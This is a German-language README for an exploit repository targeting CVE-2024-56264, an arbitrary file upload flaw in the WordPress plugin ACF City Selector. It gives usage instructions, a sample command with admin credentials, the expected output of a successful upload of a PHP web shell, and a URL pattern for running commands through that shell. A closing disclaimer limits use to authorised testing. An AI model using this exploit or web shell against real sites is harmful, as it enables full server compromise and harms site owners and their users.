CVE-2024-56264

WordPress ACF City Selector – Exploit für beliebigen Datei-Upload (CVE-2024-56264)

Übersicht

Dieses Repository enthält einen Exploit für CVE-2024-56264, eine Arbitrary File Upload-Schwachstelle im WordPress-Plugin ACF City Selector (Versionen <= 1.14.0). Diese Schwachstelle ermöglicht es einem Angreifer, eine schädliche PHP-Datei (Web-Shell) auf eine verwundbare WordPress-Instanz hochzuladen und beliebige Befehle auf dem Server auszuführen.

CVE-Details

• CVE-ID: CVE-2024-56264
• Veröffentlichungsdatum: 2. Januar 2025
• Betroffenes Plugin: ACF City Selector
• Verwundbare Versionen: <= 1.14.0
• Auswirkungen: Remote Code Execution (RCE) durch uneingeschränkten Datei-Upload

Beschreibung

Das ACF City Selector Plugin validiert hochgeladene Dateien nicht ordnungsgemäß, sodass Angreifer Einschränkungen umgehen und beliebige PHP-Dateien hochladen können. Sobald eine schädliche PHP-Datei hochgeladen wurde, kann ein Angreifer entfernte Systembefehle ausführen, was zu einer vollständigen Serverkompromittierung führt.

Anforderungen

📌 Abhängigkeiten

Stellen Sie sicher, dass Folgendes installiert ist, bevor Sie das Skript ausführen:

• Python 3.x
• requests Modul (Installation mit: pip install requests)

Sie können alle erforderlichen Abhängigkeiten installieren mit:

pip install -r requirements.txt

🚀 Verwendung

Ausführen des Exploits:

usage: CVE-2024-56264.py [-h] --url URL --username USERNAME --password PASSWORD

WordPress ACF City Selector plugin <= 1.14.0 - Arbitrary File Upload vulnerability

options:
  -h, --help           show this help message and exit
  --url URL            Website base URL (e.g., http://192.168.100.74/wordpress)
  --username USERNAME  WordPress username
  --password PASSWORD  WordPress password

Beispiel:

python CVE-2024-56264.py --url http://192.168.100.74:888/wordpress --username admin --password admin

Erwartete Ausgabe

Bei erfolgreicher Ausnutzung sollten Sie Folgendes sehen:

[+] Detected plugin version: 1.14.0
[+] Vulnerable version detected! Proceeding with exploitation.
[+] Logged in successfully.
[+] Extracted nonce: abc1234
[+] Shell uploaded successfully: http://wordpress/wp-content/uploads/acfcs/q.php

Post-Exploitation

Bei Erfolg können Sie auf die hochgeladene Shell zugreifen unter:

http://wordpress/wp-content/uploads/acfcs/q.php?cmd=whoami

Dies ermöglicht die Remotebefehlsausführung auf dem Server.

⚠ Haftungsausschluss

Dieses Skript ist ausschließlich für Bildungs- und autorisierte Sicherheitstestzwecke gedacht. Unbefugte Nutzung ist illegal und kann zu schwerwiegenden Konsequenzen führen. Der Autor übernimmt keine Verantwortung für einen Missbrauch dieses Exploits.